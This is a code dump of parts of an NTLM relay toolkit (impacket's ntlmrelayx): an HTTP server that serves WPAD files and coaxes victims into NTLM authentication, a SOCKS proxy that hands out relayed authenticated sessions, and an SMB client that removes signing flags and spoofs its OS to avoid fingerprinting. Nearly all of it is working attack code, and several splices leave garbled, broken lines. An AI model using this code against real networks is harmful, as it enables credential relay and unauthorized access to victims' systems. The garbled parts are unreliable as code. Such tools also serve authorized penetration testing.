113 | def do_AUTHHEAD(self, message = '', proxy=False):
114 | if proxy:
115 | self.send_response(407)
116 | self.send_header('Proxy-Authenticate', message)
117 | else:
118 | self.send_response(401)
119 | self.send_header('WWW-Authenticate', message)
120 | self.send_header('Content-type', 'text/html')
121 | self.send_header('Content-Length','0')
122 | self.end_headers()
123 |
124 | #Trickery to get the victim to sign more challenges
125 | def do_REDIRECT(self, proxy=False):
126 | rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
127 | self.send_response(302)
128 | self.send_header('WWW-Authenticate', 'NTLM')
129 | self.send_header('Content-type', 'text/html')
130 | self.send_header('Connection','close')
131 | self.send_header('Location','/%s' % rstr)
132 | self.send_header('Content-Length','0')
133 | self.end_headers()
134 |
135 | def do_SMBREDIRECT(self):
136 | self.send_response(302)
137 | self.send_header('Content-type', 'text/html')
138 | self.send_header('Location','file://%s' % self.server.config.redirecthost)
139 | self.send_header('Content-Length','0')
140 | self.send_header('Connection','close')
141 | self.end_headers()
142 |
143 | def do_POST(self):
144 | return self.do_GET()
145 |
146 | def do_CONNECT(self):
147 | return self.do_GET()
148 |
149 | def do_HEAD(self):
150 | return self.do_GET()
151 |
152 | def do_GET(self):
153 | messageType = 0
154 | if self.server.config.mode == 'REDIRECT':
155 | self.do_SMBREDIRECT()
156 | return
157 |
158 | LOG.info('HTTPD: Client requested path: %s' % self.path.lower())
159 |
160 | # Serve WPAD if:
161 | # - The client requests it
162 | # - A WPAD host was provided in the command line options
163 | # - The client has not exceeded the wpad_auth_num threshold yet
164 | if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
165 | LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
166 | self.serve_wpad()
167 | return
168 |
169 | # Determine if the user is connecting to our server directly or attempts to use it as a proxy
170 | if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
171 | proxy = True
172 | else:
173 | proxy = False
174 |
175 | if (proxy and self.headers.getheader('Proxy-Authorization') is None) or (not proxy and self.headers.getheader('Authorization') is None):
176 | self.do_AUTHHEAD(message = 'NTLM',proxy=proxy)
177 | pass
178 | else:
179 | if proxy:
180 | typeX = self.headers.getheader('Proxy-Authorization')
181 | else:
182 | typeX = self.headers.getheader('Authorization')
183 | try:
184 | _, blob = typeX.split('NTLM')
185 | token = base64.b64decode(blob.strip())
186 | except:
187 | self.do_AUTHHEAD(message = 'NTLM', proxy=proxy)
188 | else:
189 | messageType = struct.unpack('H=0'),
97 | ('ADDR','4s="'),
98 | ('PAYLOAD',':'),
99 | )
100 |
101 | class SOCKS4_REPLY(Structure):
102 | structure = (
103 | ('VER','B=0'),
104 | ('REP','B=0x5A'),
105 | ('RSV','= 0 or str(e).find('reset by peer') >=0 or \
193 | str(e).find('Invalid argument') >= 0 or str(e).find('Server not connected') >=0:
194 | # Connection died, taking out of the active list
195 | del (server.activeRelays[target][port][user])
196 | if len(server.activeRelays[target][port].keys()) == 1:
197 | del (server.activeRelays[target][port])
198 | LOG.debug('Removing active relay for %s@%s:%s' % (user, target, port))
199 | else:
200 | LOG.debug('Skipping %s@%s:%s since it\'s being used at the moment' % (user, target, port))
201 |
202 | def activeConnectionsWatcher(server):
203 | while True:
204 | # This call blocks until there is data, so it doesn't loop endlessly
205 | target, port, userName, client, data = activeConnections.get()
206 | # ToDo: Careful. Dicts are not thread safe right?
207 | if server.activeRelays.has_key(target) is not True:
208 | server.activeRelays[target] = {}
209 | if server.activeRelays[target].has_key(port) is not True:
210 | server.activeRelays[target][port] = {}
211 |
212 | if server.activeRelays[target][port].has_key(userName) is not True:
213 | LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port))
214 | server.activeRelays[target][port][userName] = {}
215 | # This is the protocolClient. Needed because we need to access the killConnection from time to time.
216 | # Inside this instance, you have the session attribute pointing to the relayed session.
217 | server.activeRelays[target][port][userName]['protocolClient'] = client
218 | server.activeRelays[target][port][userName]['inUse'] = False
219 | server.activeRelays[target][port][userName]['data'] = data
220 | # Just for the CHALLENGE data, we're storing this general
221 | server.activeRelays[target][port]['data'] = data
222 | else:
223 | LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))
224 | client.killConnection()
225 |
226 | def webService(server):
227 | from flask import Flask, jsonify
228 |
229 | app = Flask(__name__)
230 |
231 | log = logging.getLogger('werkzeug')
232 | log.setLevel(logging.ERROR)
233 |
234 | @app.route('/')
235 | def index():
236 | print server.activeRelays
237 | return "Relays available: %s!" % (len(server.activeRelays))
238 |
239 | @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET'])
240 | def get_relays():
241 | relays = []
242 | for target in server.activeRelays:
243 | for port in server.activeRelays[target]:
244 | for user in server.activeRelays[target][port]:
245 | if user != 'data':
246 | protocol = server.socksPlugins[port].PLUGIN_SCHEME
247 | relays.append([protocol, target, user, str(port)])
248 | return jsonify(relays)
249 |
250 | @app.route('/ntlmrelayx/api/v1.0/relays', methods=['GET'])
251 | def get_info(relay):
252 | pass
253 |
254 | app.run(host='0.0.0.0', port=9090)
255 |
256 | class SocksRequestHandler(SocketServer.BaseRequestHandler):
257 | def __init__(self, request, client_address, server):
258 | self.__socksServer = server
259 | self.__ip, self.__port = client_address
260 | self.__connSocket= request
261 | self.__socksVersion = 5
262 | self.targetHost = None
263 | self.targetPort = None
264 | self.__NBSession= None
265 | SocketServer.BaseRequestHandler.__init__(self, request, client_address, server)
266 |
267 | def sendReplyError(self, error = replyField.CONNECTION_REFUSED):
268 |
269 | if self.__socksVersion == 5:
270 | reply = SOCKS5_REPLY()
271 | reply['REP'] = error.value
272 | else:
273 | reply = SOCKS4_REPLY()
274 | if error.value != 0:
275 | reply['REP'] = 0x5B
276 | return self.__connSocket.sendall(reply.getData())
277 |
278 | def handle(self):
279 | LOG.debug("SOCKS: New Connection from %s(%s)" % (self.__ip, self.__port))
280 |
281 | data = self.__connSocket.recv(8192)
282 | grettings = SOCKS5_GREETINGS_BACK(data)
283 | self.__socksVersion = grettings['VER']
284 |
285 | if self.__socksVersion == 5:
286 | # We need to answer back with a no authentication response. We're not dealing with auth for now
287 | self.__connSocket.sendall(str(SOCKS5_GREETINGS_BACK()))
288 | data = self.__connSocket.recv(8192)
289 | request = SOCKS5_REQUEST(data)
290 | else:
291 | # We're in version 4, we just received the request
292 | request = SOCKS4_REQUEST(data)
293 |
294 | # Let's process the request to extract the target to connect.
295 | # SOCKS5
296 | if self.__socksVersion == 5:
297 | if request['ATYP'] == ATYP.IPv4.value:
298 | self.targetHost = socket.inet_ntoa(request['PAYLOAD'][:4])
299 | self.targetPort = unpack('>H',request['PAYLOAD'][4:])[0]
300 | elif request['ATYP'] == ATYP.DOMAINNAME.value:
301 | hostLength = unpack('!B',request['PAYLOAD'][0])[0]
302 | self.targetHost = request['PAYLOAD'][1:hostLength+1]
303 | self.targetPort = unpack('>H',request['PAYLOAD'][hostLength+1:])[0]
304 | else:
305 | LOG.error('No support for IPv6 yet!')
306 | # SOCKS4
307 | else:
308 | self.targetPort = request['PORT']
309 |
310 | # SOCKS4a
311 | if request['ADDR'][:3] == "\x00\x00\x00" and request['ADDR'][3] != "\x00":
312 | nullBytePos = request['PAYLOAD'].find("\x00");
313 |
314 | if nullBytePos == -1:
315 | LOG.error('Error while reading SOCKS4a header!')
316 | else:
317 | self.targetHost = request['PAYLOAD'].split('\0', 1)[1][:-1]
318 | else:
319 | self.targetHost = socket.inet_ntoa(request['ADDR'])
320 |
321 | LOG.debug('SOCKS: Target is %s(%s)' % (self.targetHost, self.targetPort))
322 |
323 | if self.targetPort != 53:
324 | # Do we have an active connection for the target host/port asked?
325 | # Still don't know the username, but it's a start
326 | if self.__socksServer.activeRelays.has_key(self.targetHost):
327 | if self.__socksServer.activeRelays[self.targetHost].has_key(self.targetPort) is not True:
328 | LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort))
329 | self.sendReplyError(replyField.CONNECTION_REFUSED)
330 | return
331 | else:
332 | LOG.error('SOCKS: Don\'t have a relay for %s(%s)' % (self.targetHost, self.targetPort))
333 | self.sendReplyError(replyField.CONNECTION_REFUSED)
334 | return
335 |
336 | # Now let's get into the loops
337 | if self.targetPort == 53:
338 | # Somebody wanting a DNS request. Should we handle this?
339 | s = socket.socket()
340 | try:
341 | LOG.debug('SOCKS: Connecting to %s(%s)' %(self.targetHost, self.targetPort))
342 | s.connect((self.targetHost, self.targetPort))
343 | except Exception, e:
344 | if LOG.level == logging.DEBUG:
345 | import traceback
346 | traceback.print_exc()
347 | LOG.error('SOCKS: %s' %str(e))
348 | self.sendReplyError(replyField.CONNECTION_REFUSED)
349 | return
350 |
351 | if self.__socksVersion == 5:
352 | reply = SOCKS5_REPLY()
353 | reply['REP'] = replyField.SUCCEEDED.value
354 | addr, port = s.getsockname()
355 | reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)
356 | else:
357 | reply = SOCKS4_REPLY()
358 |
359 | self.__connSocket.sendall(reply.getData())
360 |
361 | while True:
362 | try:
363 | data = self.__connSocket.recv(8192)
364 | if data == '':
365 | break
366 | s.sendall(data)
367 | data = s.recv(8192)
368 | self.__connSocket.sendall(data)
369 | except Exception, e:
370 | if LOG.level == logging.DEBUG:
371 | import traceback
372 | traceback.print_exc()
373 | LOG.error('SOCKS: ', str(e))
374 |
375 | if self.__socksServer.socksPlugins.has_key(self.targetPort):
376 | LOG.debug('Handler for port %s found %s' % (self.targetPort, self.__socksServer.socksPlugins[self.targetPort]))
377 | relay = self.__socksServer.socksPlugins[self.targetPort](self.targetHost, self.targetPort, self.__connSocket,
378 | self.__socksServer.activeRelays[self.targetHost][self.targetPort])
379 |
380 | try:
381 | relay.initConnection()
382 |
383 | # Let's answer back saying we've got the connection. Data is fake
384 | if self.__socksVersion == 5:
385 | reply = SOCKS5_REPLY()
386 | reply['REP'] = replyField.SUCCEEDED.value
387 | addr, port = self.__connSocket.getsockname()
388 | reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)
389 | else:
390 | reply = SOCKS4_REPLY()
391 |
392 | self.__connSocket.sendall(reply.getData())
393 |
394 | if relay.skipAuthentication() is not True:
395 | # Something didn't go right
396 | # Close the socket
397 | self.__connSocket.close()
398 | return
399 |
400 | # Ok, so we have a valid connection to play with. Let's lock it while we use it so the Timer doesn't send a
401 | # keep alive to this one.
402 | self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = True
403 |
404 | relay.tunnelConnection()
405 | except Exception, e:
406 | if LOG.level == logging.DEBUG:
407 | import traceback
408 | traceback.print_exc()
409 | LOG.debug('SOCKS: %s' % str(e))
410 | if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \
411 | str(e).find('Invalid argument') >= 0:
412 | # Connection died, taking out of the active list
413 | del(self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username])
414 | if len(self.__socksServer.activeRelays[self.targetHost][self.targetPort].keys()) == 1:
415 | del(self.__socksServer.activeRelays[self.targetHost][self.targetPort])
416 | LOG.debug('Removing active relay for %s@%s:%s' % (relay.username, self.targetHost, self.targetPort))
417 | self.sendReplyError(replyField.CONNECTION_REFUSED)
418 | return
419 | pass
420 |
421 | # Freeing up this connection
422 | if relay.username is not None:
423 | self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = False
424 | else:
425 | LOG.error('SOCKS: I don\'t have a handler for this port')
426 |
427 | LOG.debug('SOCKS: Shutting down connection')
428 | try:
429 | self.sendReplyError(replyField.CONNECTION_REFUSED)
430 | except Exception, e:
431 | LOG.debug('SOCKS END: %s' % str(e))
432 |
433 |
434 | class SOCKS(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
435 | def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler):
436 | LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] )
437 |
438 | self.activeRelays = {}
439 | self.socksPlugins = {}
440 | self.restAPI = None
441 | self.activeConnectionsWatcher = None
442 | self.supportedSchemes = []
443 | SocketServer.TCPServer.allow_reuse_address = True
444 | SocketServer.TCPServer.__init__(self, server_address, handler_class)
445 |
446 | # Let's register the socksplugins plugins we have
447 | from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS
448 |
449 | for relay in SOCKS_RELAYS:
450 | LOG.info('%s loaded..' % relay.PLUGIN_NAME)
451 | self.socksPlugins[relay.getProtocolPort()] = relay
452 | self.supportedSchemes.append(relay.PLUGIN_SCHEME)
453 |
454 | # Let's create a timer to keep the connections up.
455 | self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self)
456 |
457 | # Let's start our RESTful API
458 | self.restAPI = Thread(target=webService, args=(self, ))
459 | self.restAPI.daemon = True
460 | self.restAPI.start()
461 |
462 | # Let's start out worker for active connections
463 | self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, ))
464 | self.activeConnectionsWatcher.daemon = True
465 | self.activeConnectionsWatcher.start()
466 |
467 | def shutdown(self):
468 | self.__timer.stop()
469 | del self.restAPI
470 | del self.activeConnectionsWatcher
471 | return SocketServer.TCPServer.shutdown(self)
472 |
473 | if __name__ == '__main__':
474 | from impacket.examples import logger
475 | logger.init()
476 | s = SOCKS()
477 | s.serve_forever()
478 |
479 |
480 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/smbrelayclient.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # SMB Relay Protocol Client
8 | #
9 | # Author:
10 | # Alberto Solino (@agsolino)
11 | #
12 | # Description:
13 | # This is the SMB client which initiates the connection to an
14 | # SMB server and relays the credentials to this server.
15 |
16 | import os
17 |
18 | from struct import unpack
19 | from socket import error as socketerror
20 | from impacket import LOG
21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
22 | from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
24 | from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge
25 | from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
26 | SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
27 | SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
28 | from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
29 | SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
30 | SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
31 | SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
32 | from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError
33 | from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
34 |
35 | PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
36 |
37 | class MYSMB(SMB):
38 | def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
39 | self.extendedSecurity = extendedSecurity
40 | SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
41 |
42 | def neg_session(self, negPacket=None):
43 | return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
44 |
45 | class MYSMB3(SMB3):
46 | def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
47 | self.extendedSecurity = extendedSecurity
48 | SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket))
49 |
50 | def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
51 | # We DON'T want to sign
52 | self._Connection['ClientSecurityMode'] = 0
53 |
54 | if self.RequireMessageSigning is True:
55 | LOG.error('Signing is required, attack won\'t work!')
56 | print "RequireMessageSigning"
57 | return
58 |
59 | self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
60 | currentDialect = SMB2_DIALECT_WILDCARD
61 |
62 | # Do we have a negSessionPacket already?
63 | if negSessionResponse is not None:
64 | # Yes, let's store the dialect answered back
65 | negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
66 | currentDialect = negResp['DialectRevision']
67 |
68 | if currentDialect == SMB2_DIALECT_WILDCARD:
69 | # Still don't know the chosen dialect, let's send our options
70 |
71 | packet = self.SMB_PACKET()
72 | packet['Command'] = SMB2_NEGOTIATE
73 | negSession = SMB2Negotiate()
74 |
75 | negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
76 | negSession['Capabilities'] = self._Connection['Capabilities']
77 | negSession['ClientGuid'] = self.ClientGuid
78 | if preferredDialect is not None:
79 | negSession['Dialects'] = [preferredDialect]
80 | else:
81 | negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
82 | negSession['DialectCount'] = len(negSession['Dialects'])
83 | packet['Data'] = negSession
84 |
85 | packetID = self.sendSMB(packet)
86 | ans = self.recvSMB(packetID)
87 | if ans.isValidAnswer(STATUS_SUCCESS):
88 | negResp = SMB2Negotiate_Response(ans['Data'])
89 |
90 | self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])
91 | self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])
92 | self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])
93 | self._Connection['ServerGuid'] = negResp['ServerGuid']
94 | self._Connection['GSSNegotiateToken'] = negResp['Buffer']
95 | self._Connection['Dialect'] = negResp['DialectRevision']
96 | print "negResp['SecurityMode']",negResp['SecurityMode']
97 | print "SMB2_NEGOTIATE_SIGNING_REQUIRED",SMB2_NEGOTIATE_SIGNING_REQUIRED
98 | if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
99 | LOG.error('Signing is required, attack won\'t work!')
100 | return
101 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
102 | self._Connection['SupportsFileLeasing'] = True
103 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
104 | self._Connection['SupportsMultiCredit'] = True
105 |
106 | if self._Connection['Dialect'] == SMB2_DIALECT_30:
107 | # Switching to the right packet format
108 | self.SMB_PACKET = SMB3Packet
109 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
110 | self._Connection['SupportsDirectoryLeasing'] = True
111 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
112 | self._Connection['SupportsMultiChannel'] = True
113 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
114 | self._Connection['SupportsPersistentHandles'] = True
115 | if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
116 | self._Connection['SupportsEncryption'] = True
117 |
118 | self._Connection['ServerCapabilities'] = negResp['Capabilities']
119 | self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
120 |
121 | class SMBRelayClient(ProtocolClient):
122 | PLUGIN_NAME = "SMB"
123 | def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
124 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
125 | self.extendedSecurity = extendedSecurity
126 |
127 | self.domainIp = None
128 | self.machineAccount = None
129 | self.machineHashes = None
130 | self.sessionData = {}
131 |
132 | self.keepAliveHits = 1
133 |
134 | def keepAlive(self):
135 | # SMB Keep Alive more or less every 5 minutes
136 | if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
137 | # Time to send a packet
138 | # Just a tree connect / disconnect to avoid the session timeout
139 | tid = self.session.connectTree('IPC$')
140 | self.session.disconnectTree(tid)
141 | self.keepAliveHits = 1
142 | else:
143 | self.keepAliveHits +=1
144 |
145 | def killConnection(self):
146 | if self.session is not None:
147 | self.session.close()
148 | self.session = None
149 |
150 | def initConnection(self):
151 | self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
152 | #,preferredDialect=SMB_DIALECT)
153 | if self.serverConfig.smb2support is True:
154 | data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
155 | else:
156 | data = '\x02NT LM 0.12\x00'
157 |
158 | if self.extendedSecurity is True:
159 | flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
160 | else:
161 | flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
162 | try:
163 | packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
164 | flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
165 | flags2=flags2, data=data)
166 | except socketerror as e:
167 | if 'reset by peer' in str(e):
168 | if not self.serverConfig.smb2support:
169 | LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
170 | else:
171 | LOG.error('SMBCLient error: Connection was reset')
172 | else:
173 | LOG.error('SMBCLient error: %s' % str(e))
174 | return False
175 | if packet[0] == '\xfe':
176 | smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
177 | else:
178 | # Answer is SMB packet, sticking to SMBv1
179 | smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
180 |
181 | self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
182 | existingConnection=smbClient, manualNegotiate=True)
183 |
184 | return True
185 |
186 | def setUid(self,uid):
187 | self._uid = uid
188 |
189 | def sendNegotiate(self, negotiateMessage):
190 | negotiate = NTLMAuthNegotiate()
191 | negotiate.fromString(negotiateMessage)
192 | #Remove the signing flag
193 | negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
194 | #negotiateMessage = negotiateMessage[:12]+'\x07\x02\x08\xa2'+negotiateMessage[16:]
195 | #negotiateMessage = negotiateMessage[:12]+'\x97\xb2\x08\xe2'+negotiateMessage[16:]
196 | challenge = NTLMAuthChallenge()
197 | if self.session.getDialect() == SMB_DIALECT:
198 | challenge.fromString(self.sendNegotiatev1(negotiateMessage))
199 | else:
200 | challenge.fromString(self.sendNegotiatev2(negotiateMessage))
201 |
202 | # Store the Challenge in our session data dict. It will be used by the SMB Proxy
203 | self.sessionData['CHALLENGE_MESSAGE'] = challenge
204 |
205 | return challenge
206 |
207 | def sendNegotiatev2(self, negotiateMessage):
208 | v2client = self.session.getSMBServer()
209 |
210 | sessionSetup = SMB2SessionSetup()
211 | sessionSetup['Flags'] = 0
212 |
213 | # Let's build a NegTokenInit with the NTLMSSP
214 | blob = SPNEGO_NegTokenInit()
215 |
216 | # NTLMSSP
217 | blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
218 | blob['MechToken'] = str(negotiateMessage)
219 |
220 | sessionSetup['SecurityBufferLength'] = len(blob)
221 | sessionSetup['Buffer'] = blob.getData()
222 |
223 | packet = v2client.SMB_PACKET()
224 | packet['Command'] = SMB2_SESSION_SETUP
225 | packet['Data'] = sessionSetup
226 |
227 | packetID = v2client.sendSMB(packet)
228 | ans = v2client.recvSMB(packetID)
229 | if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
230 | v2client._Session['SessionID'] = ans['SessionID']
231 | sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
232 | respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
233 | return respToken['ResponseToken']
234 |
235 | return False
236 |
237 | def sendNegotiatev1(self, negotiateMessage):
238 | v1client = self.session.getSMBServer()
239 |
240 | smb = NewSMBPacket()
241 | smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
242 | smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
243 | # Are we required to sign SMB? If so we do it, if not we skip it
244 | if v1client.is_signing_required():
245 | smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
246 |
247 |
248 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
249 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
250 | sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
251 |
252 | sessionSetup['Parameters']['MaxBufferSize'] = 65535
253 | sessionSetup['Parameters']['MaxMpxCount'] = 2
254 | sessionSetup['Parameters']['VcNumber'] = 1
255 | sessionSetup['Parameters']['SessionKey'] = 0
256 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
257 |
258 | # Let's build a NegTokenInit with the NTLMSSP
259 | # TODO: In the future we should be able to choose different providers
260 |
261 | blob = SPNEGO_NegTokenInit()
262 |
263 | # NTLMSSP
264 | blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
265 | blob['MechToken'] = str(negotiateMessage)
266 |
267 | sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
268 | sessionSetup['Parameters'].getData()
269 | sessionSetup['Data']['SecurityBlob'] = blob.getData()
270 |
271 | # Fake Data here, don't want to get us fingerprinted
272 | sessionSetup['Data']['NativeOS'] = 'Unix'
273 | sessionSetup['Data']['NativeLanMan'] = 'Samba'
274 |
275 | smb.addCommand(sessionSetup)
276 | v1client.sendSMB(smb)
277 | smb = v1client.recvSMB()
278 |
279 | try:
280 | smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
281 | except Exception:
282 | LOG.error("SessionSetup Error!")
283 | raise
284 | else:
285 | # We will need to use this uid field for all future requests/responses
286 | v1client.set_uid(smb['Uid'])
287 |
288 | # Now we have to extract the blob to continue the auth process
289 | sessionResponse = SMBCommand(smb['Data'][0])
290 | sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
291 | sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
292 | sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
293 | sessionData.fromString(sessionResponse['Data'])
294 | respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
295 |
296 | return respToken['ResponseToken']
297 |
298 | def sendStandardSecurityAuth(self, sessionSetupData):
299 | v1client = self.session.getSMBServer()
300 | flags2 = v1client.get_flags()[1]
301 | v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
302 | if sessionSetupData['Account'] != '':
303 | smb = NewSMBPacket()
304 | smb['Flags1'] = 8
305 |
306 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
307 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
308 | sessionSetup['Data'] = SMBSessionSetupAndX_Data()
309 |
310 | sessionSetup['Parameters']['MaxBuffer'] = 65535
311 | sessionSetup['Parameters']['MaxMpxCount'] = 2
312 | sessionSetup['Parameters']['VCNumber'] = os.getpid()
313 | sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
314 | sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
315 | sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
316 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
317 |
318 | sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
319 | sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
320 | sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
321 | sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain'])
322 | sessionSetup['Data']['NativeOS'] = 'Unix'
323 | sessionSetup['Data']['NativeLanMan'] = 'Samba'
324 |
325 | smb.addCommand(sessionSetup)
326 |
327 | v1client.sendSMB(smb)
328 | smb = v1client.recvSMB()
329 | try:
330 | smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
331 | except:
332 | return None, STATUS_LOGON_FAILURE
333 | else:
334 | v1client.set_uid(smb['Uid'])
335 | return smb, STATUS_SUCCESS
336 | else:
337 | # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
338 | clientResponse = None
339 | errorCode = STATUS_ACCESS_DENIED
340 |
